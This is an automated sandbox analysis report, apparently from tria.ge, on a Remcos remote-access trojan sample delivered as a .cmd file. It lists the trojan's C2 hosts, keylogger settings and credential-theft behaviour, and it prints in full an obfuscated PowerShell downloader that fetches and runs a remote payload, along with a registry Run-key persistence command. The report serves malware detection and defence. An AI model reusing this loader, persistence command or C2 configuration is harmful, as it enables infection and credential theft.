Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/11/2024, 02:56
Static task
static1
Behavioral task
behavioral1
Sample
b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd
Resource
win10v2004-20241007-en
General
-
Target
b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd
-
Size
6KB
-
MD5
47ed689a5e67f8eadfbdf8eee3fecb84
-
SHA1
57101b7187597c2db41509b98895eafa4c7116eb
-
SHA256
b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0
-
SHA512
5d92c1444345c9114932f90d80d2e83bf1612ac6f79b66ce6d51b8c7b2a7f400e68302c6fb194200e1675e97345eb163606478ae338a44bd36fa921136e6110c
-
SSDEEP
192:thIpQ550zJ2QmToiuhQ7HgCXK1qqJ36w3Av/l9s7nm/+pyBMfkhX:tmpQ5a8f8wa1i/lS7nnpN4
Malware Config
Extracted
remcos
A$ian
iwarsut775laudryed1.duckdns.org:57484
iwarsut775laudryed1.duckdns.org:57483
iwarsut775laudryed2.duckdns.org:57484
iwarsut775laudryed3.duckdns.org:57484
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
hmbnspt.dat
-
keylog_flag
false
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
shibuetgtst-WMSLPY
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
- startup_value
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/3920-77-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/548-76-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4372-79-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/4372-79-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/3920-77-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 6 IoCs
flow pid Process 7 2920 powershell.exe 28 3116 msiexec.exe 32 3116 msiexec.exe 39 3116 msiexec.exe 41 3116 msiexec.exe 42 3116 msiexec.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2920 powershell.exe 4084 powershell.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts msiexec.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Eichmanns = "%Medborger% -windowstyle 1 $Bolometers=(gp -Path 'HKCU:\\Software\\Clydes199\\').Corsy;%Medborger% ($Bolometers)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3116 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4084 powershell.exe 3116 msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3116 set thread context of 3920 3116 msiexec.exe 100 PID 3116 set thread context of 4372 3116 msiexec.exe 103 PID 3116 set thread context of 548 3116 msiexec.exe 104 -
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4244 reg.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2920 powershell.exe 2920 powershell.exe 4084 powershell.exe 4084 powershell.exe 4084 powershell.exe 3920 msiexec.exe 3920 msiexec.exe 548 msiexec.exe 548 msiexec.exe 3920 msiexec.exe 3920 msiexec.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 4084 powershell.exe 3116 msiexec.exe 3116 msiexec.exe 3116 msiexec.exe 3116 msiexec.exe 3116 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2920 powershell.exe Token: SeDebugPrivilege 4084 powershell.exe Token: SeDebugPrivilege 548 msiexec.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3116 msiexec.exe -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 2472 wrote to memory of 2920 2472 cmd.exe 83 PID 2472 wrote to memory of 2920 2472 cmd.exe 83 PID 4084 wrote to memory of 3116 4084 powershell.exe 94 PID 4084 wrote to memory of 3116 4084 powershell.exe 94 PID 4084 wrote to memory of 3116 4084 powershell.exe 94 PID 4084 wrote to memory of 3116 4084 powershell.exe 94 PID 3116 wrote to memory of 3272 3116 msiexec.exe 96 PID 3116 wrote to memory of 3272 3116 msiexec.exe 96 PID 3116 wrote to memory of 3272 3116 msiexec.exe 96 PID 3272 wrote to memory of 4244 3272 cmd.exe 98 PID 3272 wrote to memory of 4244 3272 cmd.exe 98 PID 3272 wrote to memory of 4244 3272 cmd.exe 98 PID 3116 wrote to memory of 3920 3116 msiexec.exe 100 PID 3116 wrote to memory of 3920 3116 msiexec.exe 100 PID 3116 wrote to memory of 3920 3116 msiexec.exe 100 PID 3116 wrote to memory of 3920 3116 msiexec.exe 100 PID 3116 wrote to memory of 4064 3116 msiexec.exe 101 PID 3116 wrote to memory of 4064 3116 msiexec.exe 101 PID 3116 wrote to memory of 4064 3116 msiexec.exe 101 PID 3116 wrote to memory of 4364 3116 msiexec.exe 102 PID 3116 wrote to memory of 4364 3116 msiexec.exe 102 PID 3116 wrote to memory of 4364 3116 msiexec.exe 102 PID 3116 wrote to memory of 4372 3116 msiexec.exe 103 PID 3116 wrote to memory of 4372 3116 msiexec.exe 103 PID 3116 wrote to memory of 4372 3116 msiexec.exe 103 PID 3116 wrote to memory of 4372 3116 msiexec.exe 103 PID 3116 wrote to memory of 548 3116 msiexec.exe 104 PID 3116 wrote to memory of 548 3116 msiexec.exe 104 PID 3116 wrote to memory of 548 3116 msiexec.exe 104 PID 3116 wrote to memory of 548 3116 msiexec.exe 104
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden ";$Paleomagnetist='Tegneenhed';;$Bloodstroke='Zwieback';;$Kalligraferne136='Talesituationerne';;$Lystredes='ulrikes';;$Ozon='Tantum';;$Genopbygning=$host.Name;function Kilters($Yderpunkts){If ($Genopbygning) {$Bunchily=5} for ($Exemplar=$Bunchily;;$Exemplar+=6){if(!$Yderpunkts[$Exemplar]) { break }$Snorres+=$Yderpunkts[$Exemplar]}$Snorres}function Tttekammene($Appetitligst){ .($Levnedsmiddelstyrelsen) ($Appetitligst)}$Omskolingen=Kilters 'Eje.dNUnatiEInap.T Dand.SexkuWRepreE ChribSysteCUmbrilRammiiCrom eEnebrnove.gt';$Allergologernes=Kilters 'D.iftM GastoInfixz SkydiSlumrl Afsal Sknda Adis/';$Bygningsinspektrers=Kilters 'AlkylT P rllHy,ots Papa1Whiff2';$Subshrub='Fjo s[ SpisNWi keETorantSolsk.FeberSReferETetraR SenavFadlsiGrillcSygefe,omitp Rek ORelatIBradyNBootfTTend m isteAJdefonHemelAFibbrgAdvenEGudenRBetac]A oid:Axers:Gy sys.apooeNisk cAph,oUOutrar esomIMangeTHalvny pondP Bumbr OmkooO,kast UdbroDisgrCSyncoOPneumlRacem= Bk e$ meg,bMo eryNonsagDilemNFdevaITalennGifteg AlriSUngdoItoughnOr ntSAdvispRe erE IdrtkTempeTBi leRHyposEFe,gnR Ur sS';$Allergologernes+=Kilters 'Trd.m5 Whit. Neck0Favor Sc op( laaW CraziEkstrn lacadbobleofiskewPaadrsRrbla ElodeNFlyp TP ste Skvet1 ,nop0 delu. Krbl0Mesat;Coint aptWKommeiTot lnMantr6 Brai4Vidn ; andb EmborxTw ni6 onf4Myth ;Gerfu hamamrklbaavUdspa: Chap1Be ik3Fi.er1 C rr. W ld0Blegn)becaf NatioG Droge PeticKalvek illgo ,eli/Ombre2 .dsv0Unlim1Guill0Scene0B.bli1 Can 0Fodba1Un.oo FeltFSubpeiDoorwrBeha,eMast.f ,angoeyolfxSuper/Nulls1Mar h3 Forp1Udbyt.plack0';$Sprgere=Kilters ' arklUTranqs BabaeProblrUdrmn- Cin.AP eheG JusseOpsp NUnorit';$misemploy=Kilters 'Athy hHastet pre tUnpropBon.esPothu: Ggen/madni/Ingeri.onsen H.titHel reHensyrIrregc AmazoRestanVatt sObr,pu.eleflRea.rtFa dg.tilsacInddao oeti. Parlt lammzNeate/FrakosSkuestRotteeAfledpUdholcUnmumhKabeliKult lBil,mdHoloprt iveeunflanHarce. aadxAneposSplinn';$Noncohabitation=Kilters 'Tidsp>';$Levnedsmiddelstyrelsen=Kilters ' EddiiBrnehe Aposx';$Notidanian='Humective';$Herrerkkens='\Borgerliggrelsen.Bol';Tttekammene (Kilters ' ncon$TitiaGElit lHooveo In.rBAlarmaChresltakti:OpvarpK rkeUSevensBri,alHandeE UdryS KorrpGenneISka eLBo stL Kr feReprsT.ndis=Gemmo$Phon.esammen,enaevAnven: C lpAA.minPSupp pR empD ForkAClemet odleA Skra+Unde $Crucih,vnine BailR emirCiphee nhreRDokumkFors,KPraetES nsinSmaatS');Tttekammene (Kilters 'Fo re$Af rfGDisenLBohawoUrstrbOvereaJubillIng f:NonclM asteth oaN FordoCorroR AktirAntimhM nofONonioEGorvaAFolde=Vidtg$D skemConoii MiseSIndviEVolplM PrecPZo splDybvaOUnapoYVe,ne. r mmS oughpBilleLLem.uI quifTBrnds( hjer$TosomNMusikOUnderNIndk cUdp,lOFromah ImbrAIntraB BrugIEksamtCurblASprydTDdssyIVisitOMiocrnSplku)');Tttekammene (Kilters $Subshrub);$misemploy=$Menorrhoea[0];$Kvindehaderen=(Kilters 'Hambo$CostugLongeL,ffecOBytt.bI teraDatabl Meso:,utingFle sld mmeOMe icsRemensKugelAPyrit=BesmyNTeutoep anoWRo gh-,aatvoOrd uB InfrJ Rec,eCrosscCorncTWeigh Flaccskrabby ,uscsC opeTSig aEPaus MBelit.Denud$EquilObrattmOp,ivsArchikBestroOpsigL intrIBunchNmoonsGDemifESpil N');Tttekammene ($Kvindehaderen);Tttekammene (Kilters ' beke$ExplaGReckulPalaeoSnap s ljesE icoa L se.fasteHCbbiseLeveraHeterd E steSpolirArrh sdobbe[Ro.nt$Ib liS FuldpCalorrRibalgBee he amsvrUnloaeKa,rw]Enk,l=w rka$UnordAfaurdl LaenlZy adePersor VendgE ektoOver lEmundoKur cgSkrmdeRi,gtrAnnabnRokkee Hauns');$Enqueters=Kilters 'Fo pr$ umbeGDropslstampoFjerpsMelansSinksaGener.OprrsDBlazioumiskw U.lsnChi,pl BionoLangsaIngradFlavoFPhotoiKupeelVillee Frag( dise$ irksmSemisi.upersRegiseSlyngm nworp CelllApoleo Re,vyGeest,kr se$ Exp.HDeerfo Hyldu SlbessignieGardew.epperNatioiPrebogTribohMundstO ien)';$Housewright=$Puslespillet;Tttekammene (Kilters ' Simo$H oflg,oegeLSulfuOCitexB R,seAudsejL Solo:L nsmKStamfNLingeOShattppepsisHe eri PapiVBrown2Covet3 Fred1 ran=Inter(An ivtBloteeComm s doptTDoris- veryp loria OmryTMenneHPlotc Elekt$SamlsHU danoGingeuIn pes Br seSterlWhngebrSik,eISalvegShitthAtomiTpoace)');while (!$Knopsiv231) {Tttekammene (Kilters 'Smaar$bekvegs rivlNonlio ToppbSor eaCountl ,utt: .errLDoms o StuddAnt ndEtu siRe ieg Kak eR,ngosElektifarmaaMina,=Grfab$Ta ofKQuixoeun ermAnvispAtle t') ;Tttekammene $Enqueters;Tttekammene (Kilters 'Simuls.clertJubilaCequiR MotoTPunkt-ReeveSTra sLDoupfEG nmaeUdparPKat l latt4');Tttekammene (Kilters 'Lyngs$.rbejgSaalsL foruO,rikaBk,nooARdvinlPukeu:Brid,k ,endN UndeO BiblP lattSAntemI SaccVFlles2Elast3Trioe1E,dan=hugge( VandTBlnd ETilhysspektt lma- Battp,rbejaStridTWhizzHNo bl Bebu$ScienhTidseOFatalUBlameSHaw.beUncriWchylorKre tIFllesGTimetHr ablTBes.a)') ;Tttekammene (Kilters 'Ham e$srbehG Unp LHorsoOGuitaBAuto ATetral Mono:Indlss aegtPArmslI InfeRExe gTSubcuSUdgra=T,ekk$DiskvGIn eslPhoenOma kebAdganA s,uaL Offs: osta satuD ntinO SubcPUnattTAfsluI KrignBagsmGAnnel+P tri+ Bukk%Bahlm$DownsMAutonERave N dartO SterR Herbr CarbhK adrO .enteisomoAMunch.i cesc EpizOBardeuBilslNhovedT') ;$misemploy=$Menorrhoea[$Spirts]}$Radiologi=282520;$Elevatorfrerens=31488;Tttekammene (Kilters ' Frst$unbe,GAnoraldia mo DrmmBElatrA H peLNo,as:PerisR GuldBAssocaTorp,R IndaESuverSKapreT KrageBasa,sSkyde5 H li4Uddan Nstst=Azury LocutGarrowE HrfaTulvin-,kaldc ivreOBellyN AnlgtVin.yeFa cinSupe,t Unhy Mhoss$Sacr hImpigo AntiUScottSBe.rteSignawWirdkR Lu,hIMartrGPostrHEnkest');Tttekammene (Kilters 'Parim$ CaptgSimullHypocopenpobBa lfa Mat,l Frug: BivoPRe fraChic.rRecontStonee Briod Strenun areBilggs Mis,sMi,ce Sexfi=resol Helsi[ SpinSUnderyErindsBra dtMallaeLystem owbo.I.divCMacrooFugemnVowelvS orte InderTentmtVit e]unap :Over :UnentFMundsrArsmeoJardpmForsmBDi graIn,ics DiskeOrtho6 Lo k4NonseSco swt Gyttr WhiliPanorn Untrgsmaa,( Delt$TakkeRKindlb Si,eaOverwr stefeHeartsCardit TuikeMultisEmiss5Socia4Dress)');Tttekammene (Kilters 'Mo.or$HeypegPersoLFensmOFloatbWasteAMonoclBista:SkejshDiderJScup,ERos.wSAn elTSmrehEfestkr pinsefemogTLandb B.nhi=Ame t Skill[Hyb.aSPostpY,rthoSSlagttEpi leRivnimForbo.TersetCh toeO tswXBlacktSmrre.EfterEkakofNHimmecElek oannitDBeforiPrestnGeni,gNibby]Int r:Diahe:Berida SelvsFremaCS.ikkI EleciFoxt .Kejs G H reERekomtForlysarrepTTownyrunderi,lutbnstorfG,maad(Dueli$Kast,PburleACoinmRBismuTPaatrENeotrDSta.enFilm e O ubSMatemSHjrej)');Tttekammene (Kilters 'lrker$Bras,gdenatlIskreOVenirBope eAOmredLMimik:Sv jsb FrerUSpjt TKlimaCMon,chDecimE ,utsRDoggiEPolosr V ge=E wil$maundHBestejMyt iEskaveSNavngT OutrEhe dbrS gmee SavfTBlas .,orsesSikkeULbedaBS nkosFa.veTYillcrPip.riCirkuNRillegfurro( Sort$AutodR,eactAin,eld,ehftIHawvaOreparlFladeoClen,g AxenI lagi,Vejrs$,buttEBesviL ampEPr.jevCli.iARevoktCal,iO Gorbr Du.lf onocR ForleValidRRigsfe ChurnPlentsHolid)');Tttekammene $Butcherer;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2920
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Paleomagnetist='Tegneenhed';;$Bloodstroke='Zwieback';;$Kalligraferne136='Talesituationerne';;$Lystredes='ulrikes';;$Ozon='Tantum';;$Genopbygning=$host.Name;function Kilters($Yderpunkts){If ($Genopbygning) {$Bunchily=5} for ($Exemplar=$Bunchily;;$Exemplar+=6){if(!$Yderpunkts[$Exemplar]) { break }$Snorres+=$Yderpunkts[$Exemplar]}$Snorres}function Tttekammene($Appetitligst){ .($Levnedsmiddelstyrelsen) ($Appetitligst)}$Omskolingen=Kilters 'Eje.dNUnatiEInap.T Dand.SexkuWRepreE ChribSysteCUmbrilRammiiCrom eEnebrnove.gt';$Allergologernes=Kilters 'D.iftM GastoInfixz SkydiSlumrl Afsal Sknda Adis/';$Bygningsinspektrers=Kilters 'AlkylT P rllHy,ots Papa1Whiff2';$Subshrub='Fjo s[ SpisNWi keETorantSolsk.FeberSReferETetraR SenavFadlsiGrillcSygefe,omitp Rek ORelatIBradyNBootfTTend m isteAJdefonHemelAFibbrgAdvenEGudenRBetac]A oid:Axers:Gy sys.apooeNisk cAph,oUOutrar esomIMangeTHalvny pondP Bumbr OmkooO,kast UdbroDisgrCSyncoOPneumlRacem= Bk e$ meg,bMo eryNonsagDilemNFdevaITalennGifteg AlriSUngdoItoughnOr ntSAdvispRe erE IdrtkTempeTBi leRHyposEFe,gnR Ur sS';$Allergologernes+=Kilters 'Trd.m5 Whit. Neck0Favor Sc op( laaW CraziEkstrn lacadbobleofiskewPaadrsRrbla ElodeNFlyp TP ste Skvet1 ,nop0 delu. Krbl0Mesat;Coint aptWKommeiTot lnMantr6 Brai4Vidn ; andb EmborxTw ni6 onf4Myth ;Gerfu hamamrklbaavUdspa: Chap1Be ik3Fi.er1 C rr. W ld0Blegn)becaf NatioG Droge PeticKalvek illgo ,eli/Ombre2 .dsv0Unlim1Guill0Scene0B.bli1 Can 0Fodba1Un.oo FeltFSubpeiDoorwrBeha,eMast.f ,angoeyolfxSuper/Nulls1Mar h3 Forp1Udbyt.plack0';$Sprgere=Kilters ' arklUTranqs BabaeProblrUdrmn- Cin.AP eheG JusseOpsp NUnorit';$misemploy=Kilters 'Athy hHastet pre tUnpropBon.esPothu: Ggen/madni/Ingeri.onsen H.titHel reHensyrIrregc AmazoRestanVatt sObr,pu.eleflRea.rtFa dg.tilsacInddao oeti. Parlt lammzNeate/FrakosSkuestRotteeAfledpUdholcUnmumhKabeliKult lBil,mdHoloprt iveeunflanHarce. aadxAneposSplinn';$Noncohabitation=Kilters 'Tidsp>';$Levnedsmiddelstyrelsen=Kilters ' EddiiBrnehe Aposx';$Notidanian='Humective';$Herrerkkens='\Borgerliggrelsen.Bol';Tttekammene (Kilters ' ncon$TitiaGElit lHooveo In.rBAlarmaChresltakti:OpvarpK rkeUSevensBri,alHandeE UdryS KorrpGenneISka eLBo stL Kr feReprsT.ndis=Gemmo$Phon.esammen,enaevAnven: C lpAA.minPSupp pR empD ForkAClemet odleA Skra+Unde $Crucih,vnine BailR emirCiphee nhreRDokumkFors,KPraetES nsinSmaatS');Tttekammene (Kilters 'Fo re$Af rfGDisenLBohawoUrstrbOvereaJubillIng f:NonclM asteth oaN FordoCorroR AktirAntimhM nofONonioEGorvaAFolde=Vidtg$D skemConoii MiseSIndviEVolplM PrecPZo splDybvaOUnapoYVe,ne. r mmS oughpBilleLLem.uI quifTBrnds( hjer$TosomNMusikOUnderNIndk cUdp,lOFromah ImbrAIntraB BrugIEksamtCurblASprydTDdssyIVisitOMiocrnSplku)');Tttekammene (Kilters $Subshrub);$misemploy=$Menorrhoea[0];$Kvindehaderen=(Kilters 'Hambo$CostugLongeL,ffecOBytt.bI teraDatabl Meso:,utingFle sld mmeOMe icsRemensKugelAPyrit=BesmyNTeutoep anoWRo gh-,aatvoOrd uB InfrJ Rec,eCrosscCorncTWeigh Flaccskrabby ,uscsC opeTSig aEPaus MBelit.Denud$EquilObrattmOp,ivsArchikBestroOpsigL intrIBunchNmoonsGDemifESpil N');Tttekammene ($Kvindehaderen);Tttekammene (Kilters ' beke$ExplaGReckulPalaeoSnap s ljesE icoa L se.fasteHCbbiseLeveraHeterd E steSpolirArrh sdobbe[Ro.nt$Ib liS FuldpCalorrRibalgBee he amsvrUnloaeKa,rw]Enk,l=w rka$UnordAfaurdl LaenlZy adePersor VendgE ektoOver lEmundoKur cgSkrmdeRi,gtrAnnabnRokkee Hauns');$Enqueters=Kilters 'Fo pr$ umbeGDropslstampoFjerpsMelansSinksaGener.OprrsDBlazioumiskw U.lsnChi,pl BionoLangsaIngradFlavoFPhotoiKupeelVillee Frag( dise$ irksmSemisi.upersRegiseSlyngm nworp CelllApoleo Re,vyGeest,kr se$ Exp.HDeerfo Hyldu SlbessignieGardew.epperNatioiPrebogTribohMundstO ien)';$Housewright=$Puslespillet;Tttekammene (Kilters ' Simo$H oflg,oegeLSulfuOCitexB R,seAudsejL Solo:L nsmKStamfNLingeOShattppepsisHe eri PapiVBrown2Covet3 Fred1 ran=Inter(An ivtBloteeComm s doptTDoris- veryp loria OmryTMenneHPlotc Elekt$SamlsHU danoGingeuIn pes Br seSterlWhngebrSik,eISalvegShitthAtomiTpoace)');while (!$Knopsiv231) {Tttekammene (Kilters 'Smaar$bekvegs rivlNonlio ToppbSor eaCountl ,utt: .errLDoms o StuddAnt ndEtu siRe ieg Kak eR,ngosElektifarmaaMina,=Grfab$Ta ofKQuixoeun ermAnvispAtle t') ;Tttekammene $Enqueters;Tttekammene (Kilters 'Simuls.clertJubilaCequiR MotoTPunkt-ReeveSTra sLDoupfEG nmaeUdparPKat l latt4');Tttekammene (Kilters 'Lyngs$.rbejgSaalsL foruO,rikaBk,nooARdvinlPukeu:Brid,k ,endN UndeO BiblP lattSAntemI SaccVFlles2Elast3Trioe1E,dan=hugge( VandTBlnd ETilhysspektt lma- Battp,rbejaStridTWhizzHNo bl Bebu$ScienhTidseOFatalUBlameSHaw.beUncriWchylorKre tIFllesGTimetHr ablTBes.a)') ;Tttekammene (Kilters 'Ham e$srbehG Unp LHorsoOGuitaBAuto ATetral Mono:Indlss aegtPArmslI InfeRExe gTSubcuSUdgra=T,ekk$DiskvGIn eslPhoenOma kebAdganA s,uaL Offs: osta satuD ntinO SubcPUnattTAfsluI KrignBagsmGAnnel+P tri+ Bukk%Bahlm$DownsMAutonERave N dartO SterR Herbr CarbhK adrO .enteisomoAMunch.i cesc EpizOBardeuBilslNhovedT') ;$misemploy=$Menorrhoea[$Spirts]}$Radiologi=282520;$Elevatorfrerens=31488;Tttekammene (Kilters ' Frst$unbe,GAnoraldia mo DrmmBElatrA H peLNo,as:PerisR GuldBAssocaTorp,R IndaESuverSKapreT KrageBasa,sSkyde5 H li4Uddan Nstst=Azury LocutGarrowE HrfaTulvin-,kaldc ivreOBellyN AnlgtVin.yeFa cinSupe,t Unhy Mhoss$Sacr hImpigo AntiUScottSBe.rteSignawWirdkR Lu,hIMartrGPostrHEnkest');Tttekammene (Kilters 'Parim$ CaptgSimullHypocopenpobBa lfa Mat,l Frug: BivoPRe fraChic.rRecontStonee Briod Strenun areBilggs Mis,sMi,ce Sexfi=resol Helsi[ SpinSUnderyErindsBra dtMallaeLystem owbo.I.divCMacrooFugemnVowelvS orte InderTentmtVit e]unap :Over :UnentFMundsrArsmeoJardpmForsmBDi graIn,ics DiskeOrtho6 Lo k4NonseSco swt Gyttr WhiliPanorn Untrgsmaa,( Delt$TakkeRKindlb Si,eaOverwr stefeHeartsCardit TuikeMultisEmiss5Socia4Dress)');Tttekammene (Kilters 'Mo.or$HeypegPersoLFensmOFloatbWasteAMonoclBista:SkejshDiderJScup,ERos.wSAn elTSmrehEfestkr pinsefemogTLandb B.nhi=Ame t Skill[Hyb.aSPostpY,rthoSSlagttEpi leRivnimForbo.TersetCh toeO tswXBlacktSmrre.EfterEkakofNHimmecElek oannitDBeforiPrestnGeni,gNibby]Int r:Diahe:Berida SelvsFremaCS.ikkI EleciFoxt .Kejs G H reERekomtForlysarrepTTownyrunderi,lutbnstorfG,maad(Dueli$Kast,PburleACoinmRBismuTPaatrENeotrDSta.enFilm e O ubSMatemSHjrej)');Tttekammene (Kilters 'lrker$Bras,gdenatlIskreOVenirBope eAOmredLMimik:Sv jsb FrerUSpjt TKlimaCMon,chDecimE ,utsRDoggiEPolosr V ge=E wil$maundHBestejMyt iEskaveSNavngT OutrEhe dbrS gmee SavfTBlas .,orsesSikkeULbedaBS nkosFa.veTYillcrPip.riCirkuNRillegfurro( Sort$AutodR,eactAin,eld,ehftIHawvaOreparlFladeoClen,g AxenI lagi,Vejrs$,buttEBesviL ampEPr.jevCli.iARevoktCal,iO Gorbr Du.lf onocR ForleValidRRigsfe ChurnPlentsHolid)');Tttekammene $Butcherer;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Eichmanns" /t REG_EXPAND_SZ /d "%Medborger% -windowstyle 1 $Bolometers=(gp -Path 'HKCU:\Software\Clydes199\').Corsy;%Medborger% ($Bolometers)"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Eichmanns" /t REG_EXPAND_SZ /d "%Medborger% -windowstyle 1 $Bolometers=(gp -Path 'HKCU:\Software\Clydes199\').Corsy;%Medborger% ($Bolometers)"4⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4244
-
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\lznmptixxfwimydzoubseadxycsoyvhwe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3920
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wtseq"3⤵PID:4064
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wtseq"3⤵PID:4364
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wtseq"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4372
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gvxxreesz"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD571444def27770d9071039d005d0323b7
SHA1cef8654e95495786ac9347494f4417819373427e
SHA2568438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
SHA512a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD57aca43b2800ceb18b3ed2326532545de
SHA1d4cf207ef85bd749d59c1cb27a09c167ee21523a
SHA2563d9f8622d97587fd84d3d0560a50ab38e5f894fe4b5bcaa34279643fdaaeb480
